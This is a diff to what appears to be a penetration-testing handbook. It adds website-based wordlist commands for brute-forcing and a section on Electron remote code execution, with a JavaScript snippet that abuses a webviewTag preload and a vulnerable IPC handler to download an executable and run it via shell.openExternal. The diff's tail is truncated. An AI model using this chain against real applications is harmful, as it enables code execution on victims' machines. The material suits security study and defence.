diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index b6fea4a25..09a98cecd 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -36,10 +36,17 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Website based wordlists ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 39d86fee4..0c2e4afef 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -248,6 +248,31 @@ In macos, the `openExternal` function can be exploited to execute arbitrary comm ``` +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal + +This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. + +The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like: + +```xml + +``` + +Therefore, an attacker that manages to load an arbitrary page could use that tag to **load an arbitrary preload script**. + +This preload script was abused then to call a **vulnerable IPC service (`skype-new-window`)** which was calling calling **`shell.openExternal`** to get RCE: + +```javascript +(async() => { + const { ipcRenderer } = require("electron"); + await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); + setTimeout(async () => { + const username = process.execPath.match(/C:\\Users\\([^\\]+)/); + await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); + }, 5000); +})(); +``` + ## Reading Internal Files: XSS + contextIsolation **Disabling `contextIsolation` enables the use of `` tags**, similar to `') @@ -33,6 +33,22 @@ Also, note that in a regular exploitation you will be **able to see/download the + + + + + + + + + + + + +